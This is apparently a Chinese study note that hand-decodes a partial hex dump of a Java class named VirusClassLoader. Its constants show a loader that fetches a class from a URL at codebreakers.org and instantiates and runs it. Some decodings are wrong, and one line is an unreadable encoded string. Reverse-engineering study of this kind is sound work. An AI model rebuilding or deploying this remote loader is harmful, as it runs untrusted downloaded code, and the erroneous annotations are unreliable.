75 74 53 74 72 65 61 6D 3B 01 00 10 67 65 74 43
6F 6E 74 65 6E 74 4C 65 6E 67 74 68 01 00 03 28
29 49 01 00 13 6A 61 76 61 2F 69 6F 2F 49 6E 70
75 74 53 74 72 65 61 6D 01 00 04 72 65 61 64 01
00 05 28 5B 42 29 49 01 00 05 63 6C 6F 73 65 01
00 0B 64 65 66 69 6E 65 43 6C 61 73 73 01 00 29
28 4C 6A 61 76 61 2F 6C 61 6E 67 2F 53 74 72 69
6E 67 3B 5B 42 49 49 29 4C 6A 61 76 61 2F 6C 61
6E 67 2F 43 6C 61 73 73 3B 01 00 0C 72 65 73 6F
6C 76 65 43 6C 61 73 73 01 00 14 28 4C 6A 61 76
61 2F 6C 61 6E 67 2F 43 6C 61 73 73 3B 29 56 01
00 0F 6A 61 76 61 2F 6C 61 6E 67 2F 43 6C 61 73
73 01 00 0B 6E 65 77 49 6E 73 74 61 6E 63 65 01
00 14 28 29 4C 6A 61 76 61 2F 6C 61 6E 67 2F 4F
62 6A 65 63 74 3B 01 00 03 72 75 6E 00 21 00 1C
00 1D 00 00 00 00 00 02 00 21 00 1E 00 1F 00 02
00 20 00 00 01 3E 00 05 00 0B 00 00 00 AE 01 3A
04 12 01 3A 05 12 02 3A 06 2A 2B B7 00 03 4E 2D
B0 3A 07 BB 00 05 59 BB 00 06 59 B7 00 07 19 05
B6 00 08 2B B6 00 08 12 09 B6 00 08 B6 00 0A B7
00 0B 3A 07 19 07 B6 00 0C 3A 08 19 08 B6 00 0D
3A 09 19 08 B6 00 0E 36 0A 15 0A BC 08 3A 04 19
09 19 04 B6 00 0F 57 19 09 B6 00 10 A7 00 05 3A
07 19 04 C7 00 0B BB 00 04 59 B7 00 12 BF 2A 2B
19 04 03 19 04 BE B6 00 13 4E 2D C7 00 0B BB 00
14 59 B7 00 15 BF 1C 99 00 08 2A 2D B6 00 16 2B
19 06 A6 00 18 2D B6 00 17 C0 00 18 3A 07 19 07
B9 00 19 01 00 A7 00 05 3A 07 2D B0 00 03 00 0B
00 12 00 13 00 04 00 15 00 5E 00 61 00 11 00 97
00 A7 00 AA 00 11 00 01 00 21 00 00 00 66 00 19
00 00 00 0C 00 03 00 0D 00 07 00 0E 00 0B 00 12
00 11 00 13 00 13 00 14 00 15 00 18 00 36 00 19
00 3D 00 1B 00 44 00 1C 00 4B 00 1E 00 51 00 1F
00 59 00 20 00 5E 00 22 00 63 00 24 00 68 00 25
00 70 00 29 00 7C 00 2A 00 80 00 2B 00 88 00 2F
00 91 00 31 00 97 00 35 00 A0 00 36 00 A7 00 37
00 AC 00 3C 00 22 00 00 00 04 00 01 00 04 00 01
00 23 00 24 00 02 00 20 00 00 00 2C 00 02 00 01
00 00 00 0C 2A B7 00 1A 2A 12 02 B6 00 1B 57 B1
00 00 00 01 00 21 00 00 00 0E 00 03 00 00 00 40
00 04 00 42 00 0B 00 44 00 22 00 00 00 04 00 01
00 04 00 01 00 25 00 00 00 02 00 26 对以上的数字进行分析:
(,)
(10,01)= 5e 是constant_pool_count 转化为十进制数字为94。那么就是说cp_count是94,那么这个数字类文件的数量就是93了。就是有93个是有效的了。
那就是到那个(07,07)这对不对呢?显然不对的。
那应该是什么呢?
应该是把这些给转化一下的。
001> 08 00 27 | 08 代表这个是字符串, 00 27 在cp中的index
002> 08 00 28 |
|||||||||||||||||||||||||||||||||||||||||||||||||||
|CONSTANT_String |
| CONSTANT_String_info { |
| u1 tag; |
| u2 string_index; |
| } |
|||||||||||||||||||||||||||||||||||||||||||||||||||
003> 0A 00 1D 00 29 | 10 代表这个是Methodref $ 1D-29 29-41
|||||||||||||||||||||||||||||||||||||||||||||||||||
|CONSTANT_Methodref |
| CONSTANT_Methodref_info { |
| u1 tag; |
| u2 class_index; |
| u2 name_and_type_index; |
| } |
|||||||||||||||||||||||||||||||||||||||||||||||||||
004> 07 00 2A |
|||||||||||||||||||||||||||||||||||||||||||||||||||
| CONSTANT_Class |
| CONSTANT_Class_info { |
| u1 tag; |
| u2 name_index; |
| } |
|||||||||||||||||||||||||||||||||||||||||||||||||||
005> 07 00 2b
006> 07 00 2c
007> 0A 00 06 00 2D
008> 0A 00 06 00 2E
009> 08 00 2F
010> 0A 00 06 00 30
011> 0A 00 05 00 31
012> 0A 00 05 00 32
013> 0A 00 33 00 34
014> 0A 00 33 00 35
015> 0A 00 36 00 37
016> 0A 00 36 00 38
017> 07 00 39
018> 0A 00 04 00 2D
019> 0A 00 1C 00 3A
020> 07 00 3B
021> 0A 00 14 00 2D
022> 0A 00 1c 00 3C
023> 0A 00 3D 00 3E
024> 07 00 3F
025> 0B 00 18 00 40 0B-11 InterfaceMethodref (05,08)
|||||||||||||||||||||||||||||||||||||||||||||||||||||
|CONSTANT_InterfaceMethodref |
| CONSTANT_InterfaceMethodref_info { |
| u1 tag; |
| u2 class_index; |
| u2 name_and_type_index; |
| } |
|||||||||||||||||||||||||||||||||||||||||||||||||||||
026> 0A 00 1D 00 2D
027> 0A 00 1C 00 41
028> 07 00 42
029> 07 00 43
030> 01 00 09 6C 6F 61 64 43 6C 61 73 73 (01,10) Utf8
|||||||||||||||||||||||||||||||||||||||||||||||||||||
|CONSTANT_Utf8 |
| CONSTANT_Utf8_info { |
| u1 tag; |
| u2 length; |
| u1 bytes[length]; |
| } |
|||||||||||||||||||||||||||||||||||||||||||||||||||||
031> 01 00 26 28 4C 6A 61 76 61 2F 6C 61 6E 67 2F 53 74 72 69 6E 67 3B
5A 29 4C 6A 61 76 61 2F 6C 61 6E 67 2F 43 6C 61 73 73 3B (10,12)
$ 26-38
数字代表的字符串内容是:(Ljava/lang/String;Z)Ljava/lang/Class;
032> 01 00 04 43 6F 64 65
Code
033> 01 00 0F 4C 69 6E 65 4E 75 6D 62 65 72 54 61 62 6C 65
LineNumberTable
034> 01 00 0A 45 78 63 65 70 74 69 6F 6E 73 (16,14)
Exceptions
035> 01 00 06 3C 69 6F 69 74 3E
<init>
036> 01 00 03 28 29 56 (15,15)
()V
037> 01 00 0A 53 6F 75 72 63 65 46 69 6C 65 (12,16)
SourceFile
038> 01 00 15 56 69 72 75 73 43 6C 61 73 73 4C 6F 61 64 65 72 2E 6A 61 76 61
(04,18)
VirusClassLoader.java
039> 01 00 1C 68 74 74 70 3A 2F 2F 77 77 77 2E 63 6F 64
65 62 72 65 61 6B 65 72 73 2E 6F 72 67 2F (03,20)
3d0K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4N6%4N6#2)9J5k6h3y4G2k6r3g2T1M7X3g2S2K9$3g2J5M7#2)9J5k6h3!0J5k6#2)9J5c8R3`.`.
040> 01 00 08 42 65 61 6E 48 69 76 65
BeanHive (14,20)
041> 0C 00 44 00 45 (03,21)
|||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
| CONSTANT_NameAndType |
| CONSTANT_NameAndType_info { |
| u1 tag; |
| u2 name_index; |
| u2 descriptor_index; |
| } |
|||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
我 是 个 天 才 !
042> 01 00 20 6A 61 76 61 2F 6C 61 6E 67 2F 43 6C 61
73 73 4E 6F 74 46 6F 75 6E 64 45 78 63
65 70 74 69 6F 6E (06,23)
java/lang/ClassNotFoundException
043> 01 00 0C 6A 61 76 61 2F 6E 65 74 2F 55 52 4C (05,24)
java/net/URL
044> 01 00 17 6A 61 76 61 2F 6C 61 6E 67 2F 53 74
72 69 6E 67 42 75 69 6C 64 65 72 (15,25)
java/lang/StringBuilder
045> 0C 00 23 00 24
046> 0C 00 46 00 47
047> 01 00 06 2E 63 61 73 73 (02,27)
048> 0C 00 48 00 49
049> 0C 00 23 00 4A
050> 0C 00 4B 00 4C
051> 07 00 4D (04,28)
052> 0C (u4) (09,28)
053> 0C (u4) (14,28)
054> 07 (u2) (01,29)
055> 0C (u4) (06,29)
056> 0C (u4) (11,29)
057> 01 (u2 u19) (01,31)
058> 0C (u4) (06,31)
059> 01 (u2 u26) (03,33)
060> 0C (u4) (08,33)
061> 07 00 5A
062> 0C 00 5B 00 5C
063> 01 00 12 6A 61 76 61 2F 6C 61 6E 67 2F 52 75 6E 6E 61 62 6C 65
064> 0C 00 5D 00 24
065> 0C 00 1E 00 45
066> 01 00 10 56 69 72 75 73 43 6C 61 73 73 4C 6F 61 64 65 72
067> 01 00 15 6A 61 76 61 2F 6C 61 6E 67 2F 43 6C 61 73 73 4C 6F 61 64 65 72
068> 01 00 0F 66 69 6E 64 53 79 73 74 65 6D 43 6C 61 73 73
069> 01 00 25 28 4C 6A 61 76 61 2F 6C 61 6E 67 2F 53
74 72 69 6E 67 3B 29 4C 6A 61 76 61 2F
6C 61 6E 67 2F 43 6C 61 73 73 3B
070> 01 00 06 61 70 70 65 6E 64
071> 01 00 2D 28 4C 6A 61 76 61 2F 6C 61 6E 67 2F
53 74 72 69 6E 67 3B 29 4C 6A 61 76
61 2F 6C 61 6E 67 2F 53 74 72 69 6E
67 42 75 69 6C 64 65 72 3B
072> 01 00 08 74 6F 53 74 72 69 6E 67
073> 01 00 14 28 29 4C 6A 61 76 61 2F 6C 61 6E 67
2F 53 74 72 69 6E 67 3B
074> 01 00 15 28 4C 6A 61 76 61 2F 6C 61 6E 67 2F
53 74 72 69 6E 67 3B 29 56
075> 01 00 0E 6F 70 65 6E 43 6F 6E 62 65 63 74 69
6F 6E
076> 01 00 1A 28 29 4C 6A 61 76 61 2F 6E 65 74 2F
55 52 4C 43 6F 6E 6E 65 63 74 69 6F
6E 3B
077> 01 00 16 6A 61 76 61 2F 6E 65 74 2F 55 52 4C
43 6F 6E 6E 65 63 74 69 6F 6E
078> 01 00 0E 67 65 74 49 6E 70 75 74 53 74 72 65
61 6D
079> 01 00 17 28 29 4C 6A 61 76 61 2F 69 6F 2F 49
6E 70 75 74 53 74 72 65 61 6D 3B
080> 01 00 10 67 65 74 43 6F 6E 74 65 6E 74 4C 65
6E 67 74 68
081> 01 00 03 28 29 49
082> 01 00 13 6A 61 76 61 2F 69 6F 2F 49 6E 70 75
74 53 74 72 65 61 6D
083> 01 00 04 72 65 61 64
084> 01 00 05 28 5B 42 29 49
085> 01 00 05 63 6C 6F 73 65
086> 01 00 0B 64 65 66 69 6E 65 43 6C 61 73 73
087> 01 00 29 28 4C 6A 61 76 61 2F 6C 61 6E 67 2F
53 74 72 69 6E 67 3B 5B 42 49 49 29
4C 6A 61 76 61 2F 6C 61 6E 67 2F 43
6C 61 73 73 3B
088> 01 00 0C 72 65 73 6F 6C 76 65 43 6C 61 73 73
089> 01 00 14 28 4C 6A 61 76 61 2F 6C 61 6E 67 2F 43
6C 61 73 73 3B 29 56
090> 01 00 0F 6A 61 76 61 2F 6C 61 6E 67 2F 43 6C
61 73 73
091> 01 00 0B 6E 65 77 49 6E 73 74 61 6E 63 65
092> 01 00 14 28 29 4C 6A 61 76 61 2F 6C 61 6E 67 2F 4F
62 6A 65 63 74 3B
093> 01 00 03 72 75 6E
<Constant_Pool is over!>
<access_flags>
00 21
means: super & public
|||||||||||||||||||||||||||||||||||||||||||||||||
| access_flags意义如下: |
| |
| ACC_PUBLIC 0x0001 |
| ACC_FINAL 0x0010 |
| ACC_SUPER 0x0020 |
| ACC_INTERFACE 0x0200 |
| ACC_ABSTRACT 0x0400 |
|||||||||||||||||||||||||||||||||||||||||||||||||
<this_class>
00 1C
<super_class>
00 1D
<interfaces_count>
00 00
<interfaces_info>
00 00
<fields_count> u2
00 02 两个
<field_info[]>
|||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
| field_info { |
| u2 access_flags; //访问控制权 |
| u2 name_index; //constant_pool中的索引,对应于CONSTANT_Utf8_info描述。 |
| u2 descriptor_index; //constant_pool中的索引,对应于CONSTANT_Utf8_info描述。 |
| u2 attributes_count; |
| attribute_info attributes[attributes_count]; //attribute_info将在mothods后描述。 |
| } |
||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||| |||||||||||||||||||||||||||||||||||||||||||||||||||||||||
| |
| field_info中access_flages意义如下: |
| |
| ACC_PUBLIC 0x0001 |
| ACC_PRIVATE 0x0002 |
| ACC_PROTECTED 0x0004 |
| ACC_STATIC 0x0008 |
| ACC_FINAL 0x0010 |
| ACC_VOLATILE 0x0040 |
| ACC_TRANSIENT 0x0080 |
| |
|||||||||||||||||||||||||||||||||||||||||||||||||||||||||
第一个域:
00 21 (access_flags)
00 1E (name_index)
00 1F (descripttor_index)
00 02 (attribute_count)
第一域中的第一个属性:
00 20 (attribute_name_index)
00 00 01 3E (attribute_length) 01 3E -- 318
..........................